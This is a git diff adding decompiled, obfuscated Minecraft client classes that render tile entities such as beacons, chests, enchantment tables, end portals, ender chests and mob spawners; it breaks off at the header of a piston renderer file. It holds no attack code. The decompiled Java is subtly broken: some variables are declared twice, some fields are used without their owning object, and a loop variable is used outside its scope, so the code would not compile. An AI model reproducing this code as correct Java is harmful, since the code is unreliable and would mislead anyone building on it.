+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityBeacon;
+import net.minecraft.tileentity.TileEntityBeacon.BeamSegment;
+import net.minecraft.util.ResourceLocation;
+import org.lwjgl.opengl.GL11;
+
+public class TileEntityBeaconRenderer extends TileEntitySpecialRenderer
+{
+  private static final ResourceLocation beaconBeam = new ResourceLocation("textures/entity/beacon_beam.png");
+  private static final String __OBFID = "CL_00000962";
+  
+  public TileEntityBeaconRenderer() {}
+  
+  public void func_180536_a(TileEntityBeacon p_180536_1_, double p_180536_2_, double p_180536_4_, double p_180536_6_, float p_180536_8_, int p_180536_9_) { float var10 = p_180536_1_.shouldBeamRender();
+    GlStateManager.alphaFunc(516, 0.1F);
+    
+    if (var10 > 0.0F)
+    {
+      Tessellator var11 = Tessellator.getInstance();
+      WorldRenderer var12 = var11.getWorldRenderer();
+      List var13 = p_180536_1_.func_174907_n();
+      int var14 = 0;
+      
+      for (int var15 = 0; var15 < var13.size(); var15++)
+      {
+        TileEntityBeacon.BeamSegment var16 = (TileEntityBeacon.BeamSegment)var13.get(var15);
+        int var17 = var14 + var16.func_177264_c();
+        bindTexture(beaconBeam);
+        GL11.glTexParameterf(3553, 10242, 10497.0F);
+        GL11.glTexParameterf(3553, 10243, 10497.0F);
+        GlStateManager.disableLighting();
+        GlStateManager.disableCull();
+        GlStateManager.disableBlend();
+        GlStateManager.depthMask(true);
+        GlStateManager.tryBlendFuncSeparate(770, 1, 1, 0);
+        float var18 = (float)p_180536_1_.getWorld().getTotalWorldTime() + p_180536_8_;
+        float var19 = -var18 * 0.2F - net.minecraft.util.MathHelper.floor_float(-var18 * 0.1F);
+        double var20 = var18 * 0.025D * -1.5D;
+        var12.startDrawingQuads();
+        double var22 = 0.2D;
+        double var24 = 0.5D + Math.cos(var20 + 2.356194490192345D) * var22;
+        double var26 = 0.5D + Math.sin(var20 + 2.356194490192345D) * var22;
+        double var28 = 0.5D + Math.cos(var20 + 0.7853981633974483D) * var22;
+        double var30 = 0.5D + Math.sin(var20 + 0.7853981633974483D) * var22;
+        double var32 = 0.5D + Math.cos(var20 + 3.9269908169872414D) * var22;
+        double var34 = 0.5D + Math.sin(var20 + 3.9269908169872414D) * var22;
+        double var36 = 0.5D + Math.cos(var20 + 5.497787143782138D) * var22;
+        double var38 = 0.5D + Math.sin(var20 + 5.497787143782138D) * var22;
+        double var40 = 0.0D;
+        double var42 = 1.0D;
+        double var44 = -1.0F + var19;
+        double var46 = var16.func_177264_c() * var10 * (0.5D / var22) + var44;
+        var12.func_178960_a(var16.func_177263_b()[0], var16.func_177263_b()[1], var16.func_177263_b()[2], 0.125F);
+        var12.addVertexWithUV(p_180536_2_ + var24, p_180536_4_ + var17, p_180536_6_ + var26, var42, var46);
+        var12.addVertexWithUV(p_180536_2_ + var24, p_180536_4_ + var14, p_180536_6_ + var26, var42, var44);
+        var12.addVertexWithUV(p_180536_2_ + var28, p_180536_4_ + var14, p_180536_6_ + var30, var40, var44);
+        var12.addVertexWithUV(p_180536_2_ + var28, p_180536_4_ + var17, p_180536_6_ + var30, var40, var46);
+        var12.addVertexWithUV(p_180536_2_ + var36, p_180536_4_ + var17, p_180536_6_ + var38, var42, var46);
+        var12.addVertexWithUV(p_180536_2_ + var36, p_180536_4_ + var14, p_180536_6_ + var38, var42, var44);
+        var12.addVertexWithUV(p_180536_2_ + var32, p_180536_4_ + var14, p_180536_6_ + var34, var40, var44);
+        var12.addVertexWithUV(p_180536_2_ + var32, p_180536_4_ + var17, p_180536_6_ + var34, var40, var46);
+        var12.addVertexWithUV(p_180536_2_ + var28, p_180536_4_ + var17, p_180536_6_ + var30, var42, var46);
+        var12.addVertexWithUV(p_180536_2_ + var28, p_180536_4_ + var14, p_180536_6_ + var30, var42, var44);
+        var12.addVertexWithUV(p_180536_2_ + var36, p_180536_4_ + var14, p_180536_6_ + var38, var40, var44);
+        var12.addVertexWithUV(p_180536_2_ + var36, p_180536_4_ + var17, p_180536_6_ + var38, var40, var46);
+        var12.addVertexWithUV(p_180536_2_ + var32, p_180536_4_ + var17, p_180536_6_ + var34, var42, var46);
+        var12.addVertexWithUV(p_180536_2_ + var32, p_180536_4_ + var14, p_180536_6_ + var34, var42, var44);
+        var12.addVertexWithUV(p_180536_2_ + var24, p_180536_4_ + var14, p_180536_6_ + var26, var40, var44);
+        var12.addVertexWithUV(p_180536_2_ + var24, p_180536_4_ + var17, p_180536_6_ + var26, var40, var46);
+        var11.draw();
+        GlStateManager.enableBlend();
+        GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+        GlStateManager.depthMask(false);
+        var12.startDrawingQuads();
+        var12.func_178960_a(var16.func_177263_b()[0], var16.func_177263_b()[1], var16.func_177263_b()[2], 0.125F);
+        var20 = 0.2D;
+        var22 = 0.2D;
+        var24 = 0.8D;
+        var26 = 0.2D;
+        var28 = 0.2D;
+        var30 = 0.8D;
+        var32 = 0.8D;
+        var34 = 0.8D;
+        var36 = 0.0D;
+        var38 = 1.0D;
+        var40 = -1.0F + var19;
+        var42 = var16.func_177264_c() * var10 + var40;
+        var12.addVertexWithUV(p_180536_2_ + var20, p_180536_4_ + var17, p_180536_6_ + var22, var38, var42);
+        var12.addVertexWithUV(p_180536_2_ + var20, p_180536_4_ + var14, p_180536_6_ + var22, var38, var40);
+        var12.addVertexWithUV(p_180536_2_ + var24, p_180536_4_ + var14, p_180536_6_ + var26, var36, var40);
+        var12.addVertexWithUV(p_180536_2_ + var24, p_180536_4_ + var17, p_180536_6_ + var26, var36, var42);
+        var12.addVertexWithUV(p_180536_2_ + var32, p_180536_4_ + var17, p_180536_6_ + var34, var38, var42);
+        var12.addVertexWithUV(p_180536_2_ + var32, p_180536_4_ + var14, p_180536_6_ + var34, var38, var40);
+        var12.addVertexWithUV(p_180536_2_ + var28, p_180536_4_ + var14, p_180536_6_ + var30, var36, var40);
+        var12.addVertexWithUV(p_180536_2_ + var28, p_180536_4_ + var17, p_180536_6_ + var30, var36, var42);
+        var12.addVertexWithUV(p_180536_2_ + var24, p_180536_4_ + var17, p_180536_6_ + var26, var38, var42);
+        var12.addVertexWithUV(p_180536_2_ + var24, p_180536_4_ + var14, p_180536_6_ + var26, var38, var40);
+        var12.addVertexWithUV(p_180536_2_ + var32, p_180536_4_ + var14, p_180536_6_ + var34, var36, var40);
+        var12.addVertexWithUV(p_180536_2_ + var32, p_180536_4_ + var17, p_180536_6_ + var34, var36, var42);
+        var12.addVertexWithUV(p_180536_2_ + var28, p_180536_4_ + var17, p_180536_6_ + var30, var38, var42);
+        var12.addVertexWithUV(p_180536_2_ + var28, p_180536_4_ + var14, p_180536_6_ + var30, var38, var40);
+        var12.addVertexWithUV(p_180536_2_ + var20, p_180536_4_ + var14, p_180536_6_ + var22, var36, var40);
+        var12.addVertexWithUV(p_180536_2_ + var20, p_180536_4_ + var17, p_180536_6_ + var22, var36, var42);
+        var11.draw();
+        GlStateManager.enableLighting();
+        GlStateManager.func_179098_w();
+        GlStateManager.depthMask(true);
+        var14 = var17;
+      }
+    }
+  }
+  
+  public void renderTileEntityAt(TileEntity p_180535_1_, double p_180535_2_, double p_180535_4_, double p_180535_6_, float p_180535_8_, int p_180535_9_)
+  {
+    func_180536_a((TileEntityBeacon)p_180535_1_, p_180535_2_, p_180535_4_, p_180535_6_, p_180535_8_, p_180535_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityChestRenderer.java b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityChestRenderer.java
new file mode 100644
index 0000000..a3d62b9
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityChestRenderer.java
@@ -0,0 +1,204 @@
+package net.minecraft.client.renderer.tileentity;
+
+import java.util.Calendar;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockChest;
+import net.minecraft.client.model.ModelChest;
+import net.minecraft.client.model.ModelLargeChest;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityChest;
+import net.minecraft.util.ResourceLocation;
+
+public class TileEntityChestRenderer extends TileEntitySpecialRenderer
+{
+  private static final ResourceLocation textureTrappedDouble = new ResourceLocation("textures/entity/chest/trapped_double.png");
+  private static final ResourceLocation textureChristmasDouble = new ResourceLocation("textures/entity/chest/christmas_double.png");
+  private static final ResourceLocation textureNormalDouble = new ResourceLocation("textures/entity/chest/normal_double.png");
+  private static final ResourceLocation textureTrapped = new ResourceLocation("textures/entity/chest/trapped.png");
+  private static final ResourceLocation textureChristmas = new ResourceLocation("textures/entity/chest/christmas.png");
+  private static final ResourceLocation textureNormal = new ResourceLocation("textures/entity/chest/normal.png");
+  private ModelChest simpleChest = new ModelChest();
+  private ModelChest largeChest = new ModelLargeChest();
+  private boolean isChristams;
+  private static final String __OBFID = "CL_00000965";
+  
+  public TileEntityChestRenderer()
+  {
+    Calendar var1 = Calendar.getInstance();
+    
+    if ((var1.get(2) + 1 == 12) && (var1.get(5) >= 24) && (var1.get(5) <= 26))
+    {
+      isChristams = true;
+    }
+  }
+  
+  public void func_180538_a(TileEntityChest p_180538_1_, double p_180538_2_, double p_180538_4_, double p_180538_6_, float p_180538_8_, int p_180538_9_)
+  {
+    int var10;
+    int var10;
+    if (!p_180538_1_.hasWorldObj())
+    {
+      var10 = 0;
+    }
+    else
+    {
+      Block var11 = p_180538_1_.getBlockType();
+      var10 = p_180538_1_.getBlockMetadata();
+      
+      if (((var11 instanceof BlockChest)) && (var10 == 0))
+      {
+        ((BlockChest)var11).checkForSurroundingChests(p_180538_1_.getWorld(), p_180538_1_.getPos(), p_180538_1_.getWorld().getBlockState(p_180538_1_.getPos()));
+        var10 = p_180538_1_.getBlockMetadata();
+      }
+      
+      p_180538_1_.checkForAdjacentChests();
+    }
+    
+    if ((adjacentChestZNeg == null) && (adjacentChestXNeg == null))
+    {
+      ModelChest var15;
+      
+      if ((adjacentChestXPos == null) && (adjacentChestZPos == null))
+      {
+        ModelChest var15 = simpleChest;
+        
+        if (p_180538_9_ >= 0)
+        {
+          bindTexture(DESTROY_STAGES[p_180538_9_]);
+          GlStateManager.matrixMode(5890);
+          GlStateManager.pushMatrix();
+          GlStateManager.scale(4.0F, 4.0F, 1.0F);
+          GlStateManager.translate(0.0625F, 0.0625F, 0.0625F);
+          GlStateManager.matrixMode(5888);
+        }
+        else if (p_180538_1_.getChestType() == 1)
+        {
+          bindTexture(textureTrapped);
+        }
+        else if (isChristams)
+        {
+          bindTexture(textureChristmas);
+        }
+        else
+        {
+          bindTexture(textureNormal);
+        }
+      }
+      else
+      {
+        var15 = largeChest;
+        
+        if (p_180538_9_ >= 0)
+        {
+          bindTexture(DESTROY_STAGES[p_180538_9_]);
+          GlStateManager.matrixMode(5890);
+          GlStateManager.pushMatrix();
+          GlStateManager.scale(8.0F, 4.0F, 1.0F);
+          GlStateManager.translate(0.0625F, 0.0625F, 0.0625F);
+          GlStateManager.matrixMode(5888);
+        }
+        else if (p_180538_1_.getChestType() == 1)
+        {
+          bindTexture(textureTrappedDouble);
+        }
+        else if (isChristams)
+        {
+          bindTexture(textureChristmasDouble);
+        }
+        else
+        {
+          bindTexture(textureNormalDouble);
+        }
+      }
+      
+      GlStateManager.pushMatrix();
+      GlStateManager.enableRescaleNormal();
+      
+      if (p_180538_9_ < 0)
+      {
+        GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      }
+      
+      GlStateManager.translate((float)p_180538_2_, (float)p_180538_4_ + 1.0F, (float)p_180538_6_ + 1.0F);
+      GlStateManager.scale(1.0F, -1.0F, -1.0F);
+      GlStateManager.translate(0.5F, 0.5F, 0.5F);
+      short var12 = 0;
+      
+      if (var10 == 2)
+      {
+        var12 = 180;
+      }
+      
+      if (var10 == 3)
+      {
+        var12 = 0;
+      }
+      
+      if (var10 == 4)
+      {
+        var12 = 90;
+      }
+      
+      if (var10 == 5)
+      {
+        var12 = -90;
+      }
+      
+      if ((var10 == 2) && (adjacentChestXPos != null))
+      {
+        GlStateManager.translate(1.0F, 0.0F, 0.0F);
+      }
+      
+      if ((var10 == 5) && (adjacentChestZPos != null))
+      {
+        GlStateManager.translate(0.0F, 0.0F, -1.0F);
+      }
+      
+      GlStateManager.rotate(var12, 0.0F, 1.0F, 0.0F);
+      GlStateManager.translate(-0.5F, -0.5F, -0.5F);
+      float var13 = prevLidAngle + (lidAngle - prevLidAngle) * p_180538_8_;
+      
+
+      if (adjacentChestZNeg != null)
+      {
+        float var14 = adjacentChestZNeg.prevLidAngle + (adjacentChestZNeg.lidAngle - adjacentChestZNeg.prevLidAngle) * p_180538_8_;
+        
+        if (var14 > var13)
+        {
+          var13 = var14;
+        }
+      }
+      
+      if (adjacentChestXNeg != null)
+      {
+        float var14 = adjacentChestXNeg.prevLidAngle + (adjacentChestXNeg.lidAngle - adjacentChestXNeg.prevLidAngle) * p_180538_8_;
+        
+        if (var14 > var13)
+        {
+          var13 = var14;
+        }
+      }
+      
+      var13 = 1.0F - var13;
+      var13 = 1.0F - var13 * var13 * var13;
+      chestLid.rotateAngleX = (-(var13 * 3.1415927F / 2.0F));
+      var15.renderAll();
+      GlStateManager.disableRescaleNormal();
+      GlStateManager.popMatrix();
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      
+      if (p_180538_9_ >= 0)
+      {
+        GlStateManager.matrixMode(5890);
+        GlStateManager.popMatrix();
+        GlStateManager.matrixMode(5888);
+      }
+    }
+  }
+  
+  public void renderTileEntityAt(TileEntity p_180535_1_, double p_180535_2_, double p_180535_4_, double p_180535_6_, float p_180535_8_, int p_180535_9_)
+  {
+    func_180538_a((TileEntityChest)p_180535_1_, p_180535_2_, p_180535_4_, p_180535_6_, p_180535_8_, p_180535_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityEnchantmentTableRenderer.java b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityEnchantmentTableRenderer.java
new file mode 100644
index 0000000..a25f361
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityEnchantmentTableRenderer.java
@@ -0,0 +1,74 @@
+package net.minecraft.client.renderer.tileentity;
+
+import net.minecraft.client.model.ModelBook;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityEnchantmentTable;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class TileEntityEnchantmentTableRenderer
+  extends TileEntitySpecialRenderer
+{
+  private static final ResourceLocation field_147540_b = new ResourceLocation("textures/entity/enchanting_table_book.png");
+  private ModelBook field_147541_c = new ModelBook();
+  private static final String __OBFID = "CL_00002470";
+  
+  public TileEntityEnchantmentTableRenderer() {}
+  
+  public void func_180537_a(TileEntityEnchantmentTable p_180537_1_, double p_180537_2_, double p_180537_4_, double p_180537_6_, float p_180537_8_, int p_180537_9_) { GlStateManager.pushMatrix();
+    GlStateManager.translate((float)p_180537_2_ + 0.5F, (float)p_180537_4_ + 0.75F, (float)p_180537_6_ + 0.5F);
+    float var10 = tickCount + p_180537_8_;
+    GlStateManager.translate(0.0F, 0.1F + MathHelper.sin(var10 * 0.1F) * 0.01F, 0.0F);
+    
+
+    for (float var11 = bookRotation - bookRotationPrev; var11 >= 3.1415927F; var11 -= 6.2831855F) {}
+    
+
+
+
+    while (var11 < -3.1415927F)
+    {
+      var11 += 6.2831855F;
+    }
+    
+    float var12 = bookRotationPrev + var11 * p_180537_8_;
+    GlStateManager.rotate(-var12 * 180.0F / 3.1415927F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(80.0F, 0.0F, 0.0F, 1.0F);
+    bindTexture(field_147540_b);
+    float var13 = pageFlipPrev + (pageFlip - pageFlipPrev) * p_180537_8_ + 0.25F;
+    float var14 = pageFlipPrev + (pageFlip - pageFlipPrev) * p_180537_8_ + 0.75F;
+    var13 = (var13 - MathHelper.truncateDoubleToInt(var13)) * 1.6F - 0.3F;
+    var14 = (var14 - MathHelper.truncateDoubleToInt(var14)) * 1.6F - 0.3F;
+    
+    if (var13 < 0.0F)
+    {
+      var13 = 0.0F;
+    }
+    
+    if (var14 < 0.0F)
+    {
+      var14 = 0.0F;
+    }
+    
+    if (var13 > 1.0F)
+    {
+      var13 = 1.0F;
+    }
+    
+    if (var14 > 1.0F)
+    {
+      var14 = 1.0F;
+    }
+    
+    float var15 = bookSpreadPrev + (bookSpread - bookSpreadPrev) * p_180537_8_;
+    GlStateManager.enableCull();
+    field_147541_c.render(null, var10, var13, var14, var15, 0.0F, 0.0625F);
+    GlStateManager.popMatrix();
+  }
+  
+  public void renderTileEntityAt(TileEntity p_180535_1_, double p_180535_2_, double p_180535_4_, double p_180535_6_, float p_180535_8_, int p_180535_9_)
+  {
+    func_180537_a((TileEntityEnchantmentTable)p_180535_1_, p_180535_2_, p_180535_4_, p_180535_6_, p_180535_8_, p_180535_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer.java b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer.java
new file mode 100644
index 0000000..6272e8a
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer.java
@@ -0,0 +1,135 @@
+package net.minecraft.client.renderer.tileentity;
+
+import java.nio.FloatBuffer;
+import java.util.Random;
+import net.minecraft.client.renderer.ActiveRenderInfo;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.GlStateManager.TexGen;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityEndPortal;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Vec3;
+
+public class TileEntityEndPortalRenderer extends TileEntitySpecialRenderer
+{
+  private static final ResourceLocation field_147529_c = new ResourceLocation("textures/environment/end_sky.png");
+  private static final ResourceLocation field_147526_d = new ResourceLocation("textures/entity/end_portal.png");
+  private static final Random field_147527_e = new Random(31100L);
+  FloatBuffer field_147528_b = net.minecraft.client.renderer.GLAllocation.createDirectFloatBuffer(16);
+  private static final String __OBFID = "CL_00002467";
+  
+  public TileEntityEndPortalRenderer() {}
+  
+  public void func_180544_a(TileEntityEndPortal p_180544_1_, double p_180544_2_, double p_180544_4_, double p_180544_6_, float p_180544_8_, int p_180544_9_) { float var10 = (float)rendererDispatcher.field_147560_j;
+    float var11 = (float)rendererDispatcher.field_147561_k;
+    float var12 = (float)rendererDispatcher.field_147558_l;
+    GlStateManager.disableLighting();
+    field_147527_e.setSeed(31100L);
+    float var13 = 0.75F;
+    
+    for (int var14 = 0; var14 < 16; var14++)
+    {
+      GlStateManager.pushMatrix();
+      float var15 = 16 - var14;
+      float var16 = 0.0625F;
+      float var17 = 1.0F / (var15 + 1.0F);
+      
+      if (var14 == 0)
+      {
+        bindTexture(field_147529_c);
+        var17 = 0.1F;
+        var15 = 65.0F;
+        var16 = 0.125F;
+        GlStateManager.enableBlend();
+        GlStateManager.blendFunc(770, 771);
+      }
+      
+      if (var14 >= 1)
+      {
+        bindTexture(field_147526_d);
+      }
+      
+      if (var14 == 1)
+      {
+        GlStateManager.enableBlend();
+        GlStateManager.blendFunc(1, 1);
+        var16 = 0.5F;
+      }
+      
+      float var18 = (float)-(p_180544_4_ + var13);
+      float var19 = var18 + (float)func_178804_ayCoord;
+      float var20 = var18 + var15 + (float)func_178804_ayCoord;
+      float var21 = var19 / var20;
+      var21 += (float)(p_180544_4_ + var13);
+      GlStateManager.translate(var10, var21, var12);
+      GlStateManager.texGen(GlStateManager.TexGen.S, 9217);
+      GlStateManager.texGen(GlStateManager.TexGen.T, 9217);
+      GlStateManager.texGen(GlStateManager.TexGen.R, 9217);
+      GlStateManager.texGen(GlStateManager.TexGen.Q, 9216);
+      GlStateManager.func_179105_a(GlStateManager.TexGen.S, 9473, func_147525_a(1.0F, 0.0F, 0.0F, 0.0F));
+      GlStateManager.func_179105_a(GlStateManager.TexGen.T, 9473, func_147525_a(0.0F, 0.0F, 1.0F, 0.0F));
+      GlStateManager.func_179105_a(GlStateManager.TexGen.R, 9473, func_147525_a(0.0F, 0.0F, 0.0F, 1.0F));
+      GlStateManager.func_179105_a(GlStateManager.TexGen.Q, 9474, func_147525_a(0.0F, 1.0F, 0.0F, 0.0F));
+      GlStateManager.enableTexGenCoord(GlStateManager.TexGen.S);
+      GlStateManager.enableTexGenCoord(GlStateManager.TexGen.T);
+      GlStateManager.enableTexGenCoord(GlStateManager.TexGen.R);
+      GlStateManager.enableTexGenCoord(GlStateManager.TexGen.Q);
+      GlStateManager.popMatrix();
+      GlStateManager.matrixMode(5890);
+      GlStateManager.pushMatrix();
+      GlStateManager.loadIdentity();
+      GlStateManager.translate(0.0F, (float)(net.minecraft.client.Minecraft.getSystemTime() % 700000L) / 700000.0F, 0.0F);
+      GlStateManager.scale(var16, var16, var16);
+      GlStateManager.translate(0.5F, 0.5F, 0.0F);
+      GlStateManager.rotate((var14 * var14 * 4321 + var14 * 9) * 2.0F, 0.0F, 0.0F, 1.0F);
+      GlStateManager.translate(-0.5F, -0.5F, 0.0F);
+      GlStateManager.translate(-var10, -var12, -var11);
+      var19 = var18 + (float)func_178804_ayCoord;
+      GlStateManager.translate((float)func_178804_axCoord * var15 / var19, (float)func_178804_azCoord * var15 / var19, -var11);
+      Tessellator var25 = Tessellator.getInstance();
+      WorldRenderer var26 = var25.getWorldRenderer();
+      var26.startDrawingQuads();
+      float var22 = field_147527_e.nextFloat() * 0.5F + 0.1F;
+      float var23 = field_147527_e.nextFloat() * 0.5F + 0.4F;
+      float var24 = field_147527_e.nextFloat() * 0.5F + 0.5F;
+      
+      if (var14 == 0)
+      {
+        var24 = 1.0F;
+        var23 = 1.0F;
+        var22 = 1.0F;
+      }
+      
+      var26.func_178960_a(var22 * var17, var23 * var17, var24 * var17, 1.0F);
+      var26.addVertex(p_180544_2_, p_180544_4_ + var13, p_180544_6_);
+      var26.addVertex(p_180544_2_, p_180544_4_ + var13, p_180544_6_ + 1.0D);
+      var26.addVertex(p_180544_2_ + 1.0D, p_180544_4_ + var13, p_180544_6_ + 1.0D);
+      var26.addVertex(p_180544_2_ + 1.0D, p_180544_4_ + var13, p_180544_6_);
+      var25.draw();
+      GlStateManager.popMatrix();
+      GlStateManager.matrixMode(5888);
+    }
+    
+    GlStateManager.disableBlend();
+    GlStateManager.disableTexGenCoord(GlStateManager.TexGen.S);
+    GlStateManager.disableTexGenCoord(GlStateManager.TexGen.T);
+    GlStateManager.disableTexGenCoord(GlStateManager.TexGen.R);
+    GlStateManager.disableTexGenCoord(GlStateManager.TexGen.Q);
+    GlStateManager.enableLighting();
+  }
+  
+  private FloatBuffer func_147525_a(float p_147525_1_, float p_147525_2_, float p_147525_3_, float p_147525_4_)
+  {
+    field_147528_b.clear();
+    field_147528_b.put(p_147525_1_).put(p_147525_2_).put(p_147525_3_).put(p_147525_4_);
+    field_147528_b.flip();
+    return field_147528_b;
+  }
+  
+  public void renderTileEntityAt(TileEntity p_180535_1_, double p_180535_2_, double p_180535_4_, double p_180535_6_, float p_180535_8_, int p_180535_9_)
+  {
+    func_180544_a((TileEntityEndPortal)p_180535_1_, p_180535_2_, p_180535_4_, p_180535_6_, p_180535_8_, p_180535_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityEnderChestRenderer.java b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityEnderChestRenderer.java
new file mode 100644
index 0000000..98f6b93
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityEnderChestRenderer.java
@@ -0,0 +1,89 @@
+package net.minecraft.client.renderer.tileentity;
+
+import net.minecraft.client.model.ModelChest;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityEnderChest;
+import net.minecraft.util.ResourceLocation;
+
+public class TileEntityEnderChestRenderer extends TileEntitySpecialRenderer
+{
+  private static final ResourceLocation field_147520_b = new ResourceLocation("textures/entity/chest/ender.png");
+  private ModelChest field_147521_c = new ModelChest();
+  private static final String __OBFID = "CL_00000967";
+  
+  public TileEntityEnderChestRenderer() {}
+  
+  public void func_180540_a(TileEntityEnderChest p_180540_1_, double p_180540_2_, double p_180540_4_, double p_180540_6_, float p_180540_8_, int p_180540_9_) { int var10 = 0;
+    
+    if (p_180540_1_.hasWorldObj())
+    {
+      var10 = p_180540_1_.getBlockMetadata();
+    }
+    
+    if (p_180540_9_ >= 0)
+    {
+      bindTexture(DESTROY_STAGES[p_180540_9_]);
+      GlStateManager.matrixMode(5890);
+      GlStateManager.pushMatrix();
+      GlStateManager.scale(4.0F, 4.0F, 1.0F);
+      GlStateManager.translate(0.0625F, 0.0625F, 0.0625F);
+      GlStateManager.matrixMode(5888);
+    }
+    else
+    {
+      bindTexture(field_147520_b);
+    }
+    
+    GlStateManager.pushMatrix();
+    GlStateManager.enableRescaleNormal();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.translate((float)p_180540_2_, (float)p_180540_4_ + 1.0F, (float)p_180540_6_ + 1.0F);
+    GlStateManager.scale(1.0F, -1.0F, -1.0F);
+    GlStateManager.translate(0.5F, 0.5F, 0.5F);
+    short var11 = 0;
+    
+    if (var10 == 2)
+    {
+      var11 = 180;
+    }
+    
+    if (var10 == 3)
+    {
+      var11 = 0;
+    }
+    
+    if (var10 == 4)
+    {
+      var11 = 90;
+    }
+    
+    if (var10 == 5)
+    {
+      var11 = -90;
+    }
+    
+    GlStateManager.rotate(var11, 0.0F, 1.0F, 0.0F);
+    GlStateManager.translate(-0.5F, -0.5F, -0.5F);
+    float var12 = prevLidAngle + (field_145972_a - prevLidAngle) * p_180540_8_;
+    var12 = 1.0F - var12;
+    var12 = 1.0F - var12 * var12 * var12;
+    field_147521_c.chestLid.rotateAngleX = (-(var12 * 3.1415927F / 2.0F));
+    field_147521_c.renderAll();
+    GlStateManager.disableRescaleNormal();
+    GlStateManager.popMatrix();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    
+    if (p_180540_9_ >= 0)
+    {
+      GlStateManager.matrixMode(5890);
+      GlStateManager.popMatrix();
+      GlStateManager.matrixMode(5888);
+    }
+  }
+  
+  public void renderTileEntityAt(TileEntity p_180535_1_, double p_180535_2_, double p_180535_4_, double p_180535_6_, float p_180535_8_, int p_180535_9_)
+  {
+    func_180540_a((TileEntityEnderChest)p_180535_1_, p_180535_2_, p_180535_4_, p_180535_6_, p_180535_8_, p_180535_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityMobSpawnerRenderer.java b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityMobSpawnerRenderer.java
new file mode 100644
index 0000000..0dbf890
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityMobSpawnerRenderer.java
@@ -0,0 +1,43 @@
+package net.minecraft.client.renderer.tileentity;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.tileentity.MobSpawnerBaseLogic;
+import net.minecraft.tileentity.TileEntityMobSpawner;
+
+public class TileEntityMobSpawnerRenderer extends TileEntitySpecialRenderer
+{
+  private static final String __OBFID = "CL_00000968";
+  
+  public TileEntityMobSpawnerRenderer() {}
+  
+  public void func_180539_a(TileEntityMobSpawner p_180539_1_, double p_180539_2_, double p_180539_4_, double p_180539_6_, float p_180539_8_, int p_180539_9_)
+  {
+    GlStateManager.pushMatrix();
+    GlStateManager.translate((float)p_180539_2_ + 0.5F, (float)p_180539_4_, (float)p_180539_6_ + 0.5F);
+    func_147517_a(p_180539_1_.getSpawnerBaseLogic(), p_180539_2_, p_180539_4_, p_180539_6_, p_180539_8_);
+    GlStateManager.popMatrix();
+  }
+  
+  public static void func_147517_a(MobSpawnerBaseLogic p_147517_0_, double p_147517_1_, double p_147517_3_, double p_147517_5_, float p_147517_7_)
+  {
+    net.minecraft.entity.Entity var8 = p_147517_0_.func_180612_a(p_147517_0_.getSpawnerWorld());
+    
+    if (var8 != null)
+    {
+      float var9 = 0.4375F;
+      GlStateManager.translate(0.0F, 0.4F, 0.0F);
+      GlStateManager.rotate((float)(p_147517_0_.func_177223_e() + (p_147517_0_.func_177222_d() - p_147517_0_.func_177223_e()) * p_147517_7_) * 10.0F, 0.0F, 1.0F, 0.0F);
+      GlStateManager.rotate(-30.0F, 1.0F, 0.0F, 0.0F);
+      GlStateManager.translate(0.0F, -0.4F, 0.0F);
+      GlStateManager.scale(var9, var9, var9);
+      var8.setLocationAndAngles(p_147517_1_, p_147517_3_, p_147517_5_, 0.0F, 0.0F);
+      Minecraft.getMinecraft().getRenderManager().renderEntityWithPosYaw(var8, 0.0D, 0.0D, 0.0D, 0.0F, p_147517_7_);
+    }
+  }
+  
+  public void renderTileEntityAt(net.minecraft.tileentity.TileEntity p_180535_1_, double p_180535_2_, double p_180535_4_, double p_180535_6_, float p_180535_8_, int p_180535_9_)
+  {
+    func_180539_a((TileEntityMobSpawner)p_180535_1_, p_180535_2_, p_180535_4_, p_180535_6_, p_180535_8_, p_180535_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityPistonRenderer.java b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityPistonRenderer.java
new file mode 100644
index 0000000..e48182b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityPistonRenderer.java
